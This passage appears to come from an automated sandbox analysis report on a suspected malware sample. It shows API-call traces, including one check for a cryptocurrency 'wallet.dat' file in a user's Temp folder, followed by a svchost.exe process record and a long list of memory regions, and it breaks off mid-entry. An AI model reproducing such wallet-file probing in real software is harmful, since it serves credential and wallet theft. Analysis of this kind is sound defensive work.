	[0124.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6c6efb8) returned 1
	[0124.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\wallet.dat"), fInfoLevelId=0x0, lpFileInformation=0x6c6f034 | out: lpFileInformation=0x6c6f034*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0124.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6c6efb4) returned 1
	[0124.584] CoGetContextToken (in: pToken=0x6c6f4e0 | out: pToken=0x6c6f4e0) returned 0x0
	[0124.584] CoUninitialize () 

Thread:
	id = 230
	os_tid = 0x4f4


Thread:
	id = 293
	os_tid = 0x758

	[0212.754] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0212.754] CoGetContextToken (in: pToken=0x6b4f104 | out: pToken=0x6b4f104) returned 0x0
	[0212.754] IUnknown:QueryInterface (in: This=0x69a158, riid=0x735fd8c4*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b4f128 | out: ppvObject=0x6b4f128*=0x69a164) returned 0x0
	[0212.755] IComThreadingInfo:GetCurrentThreadType (in: This=0x69a164, pThreadType=0x6b4f154 | out: pThreadType=0x6b4f154*=0) returned 0x0
	[0212.755] IUnknown:Release (This=0x69a164) returned 0x1
	[0212.755] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1
	[0212.755] CoUninitialize () 
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0212.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0
	[0232.810] CoUninitialize () 

Thread:
	id = 294
	os_tid = 0x53c


Thread:
	id = 295
	os_tid = 0x864


Process:
	id = "7"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x92b0000"
	os_pid = "0x338"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "6"
	os_parent_pid = "0x140"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c340" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1261
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1262
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1263
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1264
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1265
	        start_va = 0x50000
	          end_va = 0xcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 1266
	        start_va = 0xd0000
	          end_va = 0x136fff
	     entry_point = 0xd0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1267
	        start_va = 0x140000
	          end_va = 0x1fffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 1268
	        start_va = 0x200000
	          end_va = 0x201fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000200000"
	        filename = ""

Region:
	              id = 1269
	        start_va = 0x210000
	          end_va = 0x210fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 1270
	        start_va = 0x220000
	          end_va = 0x220fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000220000"
	        filename = ""

Region:
	              id = 1271
	        start_va = 0x230000
	          end_va = 0x23ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000230000"
	        filename = ""

Region:
	              id = 1272
	        start_va = 0x240000
	          end_va = 0x240fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000240000"
	        filename = ""

Region:
	              id = 1273
	        start_va = 0x250000
	          end_va = 0x250fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000250000"
	        filename = ""

Region:
	              id = 1274
	        start_va = 0x260000
	          end_va = 0x260fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000260000"
	        filename = ""

Region:
	              id = 1275
	        start_va = 0x270000
	          end_va = 0x270fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000270000"
	        filename = ""

Region:
	              id = 1276
	        start_va = 0x280000
	          end_va = 0x281fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000280000"
	        filename = ""

Region:
	              id = 1277
	        start_va = 0x290000
	          end_va = 0x293fff
	     entry_point = 0x290000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 1278
	        start_va = 0x2a0000
	          end_va = 0x39ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002a0000"
	        filename = ""

Region:
	              id = 1279
	        start_va = 0x3a0000
	          end_va = 0x49ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003a0000"
	        filename = ""

Region:
	              id = 1280
	        start_va = 0x4a0000
	          end_va = 0x627fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004a0000"
	        filename = ""

Region:
	              id = 1281
	        start_va = 0x630000
	          end_va = 0x7b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000630000"
	        filename = ""

Region:
	              id = 1282
	        start_va = 0x7c0000
	          end_va = 0xbb2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007c0000"
	        filename = ""

Region:
	              id = 1283
	        start_va = 0xbc0000
	          end_va = 0xbc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000bc0000"
	        filename = ""

Region:
	              id = 1284
	        start_va = 0xbd0000
	          end_va = 0xbd3fff
	     entry_point = 0xbd0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 1285
	        start_va = 0xbe0000
	          end_va = 0xc5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000be0000"
	        filename = ""

Region:
	              id = 1286
	        start_va = 0xc60000
	          end_va = 0xcdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c60000"
	        filename = ""

Region:
	              id = 1287
	        start_va = 0xce0000
	          end_va = 0xce0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ce0000"
	        filename = ""

Region:
	              id = 1288
	        start_va = 0xcf0000
	          end_va = 0xcf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000cf0000"
	        filename = ""

Region:
	              id = 1289
	        start_va = 0xd00000
	          end_va = 0xd7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d00000"
	        filename = ""

Region:
	              id = 1290
	        start_va = 0xd80000
	          end_va = 0xdaffff
	     entry_point = 0xd80000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db")

Region:
	              id = 1291
	        start_va = 0xdb0000
	          end_va = 0xdcbfff
	     entry_point = 0xdb0000
	     region_type = mapped_file
	            name = "firewallapi.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui")

Region:
	              id = 1292
	        start_va = 0xdd0000
	          end_va = 0xe4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000dd0000"
	        filename = ""

Region:
	              id = 1293
	        start_va = 0xe50000
	          end_va = 0xeb5fff
	     entry_point = 0xe50000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")

Region:
	              id = 1294
	        start_va = 0xec0000
	          end_va = 0xec0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ec0000"
	        filename = ""

Region:
	              id = 1295
	        start_va = 0xed0000
	          end_va = 0xed0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ed0000"
	        filename = ""

Region:
	              id = 1296
	        start_va = 0xee0000
	          end_va = 0xf5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ee0000"
	        filename = ""

Region:
	              id = 1297
	        start_va = 0xf60000
	          end_va = 0xf60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000f60000"
	        filename = ""

Region:
	              id = 1298
	        start_va = 0xf70000
	          end_va = 0xf89fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f70000"
	        filename = ""

Region:
	              id = 1299
	        start_va = 0xf90000
	          end_va = 0x100ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f90000"
	        filename = ""

Region:
	              id = 1300
	        start_va = 0x1010000
	          end_va = 0x12defff
	     entry_point = 0x1010000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1301
	        start_va = 0x12e0000
	          end_va = 0x12e0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000012e0000"
	        filename = ""

Region:
	              id = 1302
	        start_va = 0x12f0000
	          end_va = 0x12f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000012f0000"
	        filename = ""

Region:
	              id = 1303
	        start_va = 0x1300000
	          end_va = 0x1307fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001300000"
	        filename = ""

Region:
	              id = 1304
	        start_va = 0x1310000
	          end_va = 0x138ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001310000"
	        filename = ""

Region:
	              id = 1305
	        start_va = 0x1390000
	          end_va = 0x140ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001390000"
	        filename = ""

Region:
	              id = 1306
	        start_va = 0x1410000
	          end_va = 0x141ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001410000"
	        filename = ""

Region:
	              id = 1307
	        start_va = 0x1420000
	          end_va = 0x142ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001420000"
	        filename = ""

Region:
	              id = 1308
	        start_va = 0x1430000
	          end_va = 0x143ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001430000"
	        filename = ""

Region:
	              id = 1309
	        start_va = 0x1440000
	          end_va = 0x1440fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001440000"
	        filename = ""

Region:
	              id = 1310
	        start_va = 0x1450000
	          end_va = 0x1451fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001450000"
	        filename = ""

Region:
	              id = 1311
	        start_va = 0x1460000
	          end_va = 0x146ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001460000"
	        filename = ""

Region:
	              id = 1312
	        start_va = 0x1470000
	          end_va = 0x1470fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001470000"
	        filename = ""

Region:
	              id = 1313
	        start_va = 0x1480000
	          end_va = 0x148ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001480000"
	        filename = ""

Region:
	              id = 1314
	        start_va = 0x1490000
	          end_va = 0x1497fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001490000"
	        filename = ""

Region:
	              id = 1315
	        start_va = 0x14a0000
	          end_va = 0x151ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014a0000"
	        filename = ""

Region:
	              id = 1316
	        start_va = 0x1520000
	          end_va = 0x152ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001520000"
	        filename = ""

Region:
	              id = 1317
	        start_va = 0x1530000
	          end_va = 0x15affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001530000"
	        filename = ""

Region:
	              id = 1318
	        start_va = 0x15b0000
	          end_va = 0x162ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015b0000"
	        filename = ""

Region:
	              id = 1319
	        start_va = 0x1630000
	          end_va = 0x16affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001630000"
	        filename = ""

Region:
	              id = 1320
	        start_va = 0x16b0000
	          end_va = 0x16bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016b0000"
	        filename = ""

Region:
	              id = 1321
	        start_va = 0x16c0000
	          end_va = 0x16cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016c0000"
	        filename = ""

Region:
	              id = 1322
	        start_va = 0x16d0000
	          end_va = 0x16dffff
	     entry_point = 0x16d0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 1323
	        start_va = 0x16e0000
	          end_va = 0x16effff
	     entry_point = 0x16e0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 1324
	        start_va = 0x16f0000
	          end_va = 0x16f7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016f0000"
	        filename = ""

Region:
	              id = 1325
	        start_va = 0x1700000
	          end_va = 0x177ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001700000"
	        filename = ""

Region:
	              id = 1326
	        start_va = 0x1780000
	          end_va = 0x178ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001780000"
	        filename = ""

Region:
	              id = 1327
	        start_va = 0x1790000
	          end_va = 0x179ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001790000"
	        filename = ""

Region:
	              id = 1328
	        start_va = 0x17a0000
	          end_va = 0x181ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017a0000"
	        filename = ""

Region:
	              id = 1329
	        start_va = 0x1820000
	          end_va = 0x182ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001820000"
	        filename = ""

Region:
	              id = 1330
	        start_va = 0x1830000
	          end_va = 0x183ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001830000"
	        filename = ""

Region:
	              id = 1331
	        start_va = 0x1840000
	          end_va = 0x184ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001840000"
	        filename = ""

Region:
	              id = 1332
	        start_va = 0x1850000
	          end_va = 0x185ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001850000"
	        filename = ""

Region:
	              id = 1333
	        start_va = 0x1860000
	          end_va = 0x186ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001860000"
	        filename = ""

Region:
	              id = 1334
	        start_va = 0x1870000
	          end_va = 0x187ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001870000"
	        filename = ""

Region:
	              id = 1335
	        start_va = 0x1880000
	          end_va = 0x1887fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001880000"
	        filename = ""

Region:
	              id = 1336
	        start_va = 0x1890000
	          end_va = 0x189ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001890000"
	        filename = ""

Region:
	              id = 1337
	        start_va = 0x18a0000
	          end_va = 0x191ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000018a0000"
	        filename = ""

Region:
	              id = 1338
	        start_va = 0x1920000
	          end_va = 0x199ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001920000"
	        filename = ""

Region:
	              id = 1339
	        start_va = 0x19d0000
	          end_va = 0x1a4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000019d0000"
	        filename = ""

Region:
	              id = 1340
	        start_va = 0x1a80000
	          end_va = 0x1afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a80000"
	        filename = ""

Region:
	              id = 1341
	        start_va = 0x1b00000
	          end_va = 0x1b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b00000"
	        filename = ""

Region:
	              id = 1342
	        start_va = 0x1bc0000
	          end_va = 0x1c3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001bc0000"
	        filename = ""

Region:
	              id = 1343
	        start_va = 0x1cd0000
	          end_va = 0x1dcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001cd0000"
	        filename = ""

Region:
	              id = 1344
	        start_va = 0x1df0000
	          end_va = 0x1e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001df0000"
	        filename = ""

Region:
	              id = 1345
	        start_va = 0x1e70000
	          end_va = 0x1eeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e70000"
	        filename = ""

Region:
	              id = 1346
	        start_va = 0x1fa0000
	          end_va = 0x201ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001fa0000"
	        filename = ""

Region:
	              id = 1347
	        start_va = 0x2020000
	          end_va = 0x2362fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002020000"
	        filename = ""

Region:
	              id = 1348
	        start_va = 0x2370000
	          end_va = 0x246ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002370000"
	        filename = ""

Region:
	              id = 1349
	        start_va = 0x2470000
	          end_va = 0x247ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002470000"
	        filename = ""

Region:
	              id = 1350
	        start_va = 0x2480000
	          end_va = 0x248ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002480000"
	        filename = ""

Region:
	              id = 1351
	        start_va = 0x2490000
	          end_va = 0x249ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002490000"
	        filename = ""

Region:
	              id = 1352
	        start_va = 0x24a0000
	          end_va = 0x24affff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000024a0000"
	        filename = ""

Region:
	              id = 1353
	        start_va = 0x24b0000
	          end_va = 0x24bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000024b0000"
	        filename = ""

Region:
	              id = 1354
	        start_va = 0x24c0000
	          end_va = 0x24cffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000024c0000"
	        filename = ""

Region:
	              id = 1355
	        start_va = 0x24d0000
	          end_va = 0x254ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000024d0000"
	        filename = ""

Region:
	              id = 1356
	        start_va = 0x25b0000
	          end_va = 0x262ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025b0000"
	        filename = ""

Region:
	              id = 1357
	        start_va = 0x2690000
	          end_va = 0x270ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002690000"
	        filename = ""

Region:
	              id = 1358
	        start_va = 0x2710000
	          end_va = 0x278ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002710000"
	        filename = ""

Region:
	              id = 1359
	        start_va = 0x27d0000
	          end_va = 0x284ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000027d0000"
	        filename = ""

Region:
	              id = 1360
	        start_va = 0x2890000
	          end_va = 0x290ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002890000"
	        filename = ""

Region:
	              id = 1361
	        start_va = 0x2910000
	          end_va = 0x291ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002910000"
	        filename = ""

Region:
	              id = 1362
	        start_va = 0x2970000
	          end_va = 0x29effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002970000"
	        filename = ""

Region:
	              id = 1363
	        start_va = 0x2a70000
	          end_va = 0x2aaffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002a70000"
	        filename = ""

Region:
	              id = 1364
	        start_va = 0x2ab0000
	          end_va = 0x2aeffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002ab0000"
	        filename = ""

Region:
	              id = 1365
	        start_va = 0x2b20000
	          end_va = 0x2b9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b20000"
	        filename = ""

Region:
	              id = 1366
	        start_va = 0x2c50000
	          end_va = 0x2c5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c50000"
	        filename = ""

Region:
	              id = 1367
	        start_va = 0x2d50000
	          end_va = 0x2dcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d50000"
	        filename = ""

Region:
	              id = 1368
	        start_va = 0x2dd0000
	          end_va = 0x2ecffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002dd0000"
	        filename = ""

Region:
	              id = 1369
	        start_va = 0x2ef0000
	          end_va = 0x2f6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ef0000"
	        filename = ""

Region:
	              id = 1370
	        start_va = 0x2f70000
	          end_va = 0x306ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002f70000"
	        filename = ""

Region:
	              id = 1371
	        start_va = 0x3090000
	          end_va = 0x309ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003090000"
	        filename = ""

Region:
	              id = 1372
	        start_va = 0x30a0000
	          end_va = 0x315ffff
	     entry_point = 0x30a0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 1373
	        start_va = 0x3180000
	          end_va = 0x31fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003180000"
	        filename = ""

Region:
	              id = 1374
	        start_va = 0x3200000
	          end_va = 0x327ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003200000"
	        filename = ""

Region:
	              id = 1375
	        start_va = 0x32b0000
	          end_va = 0x332ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000032b0000"
	        filename = ""

Region:
	              id = 1376
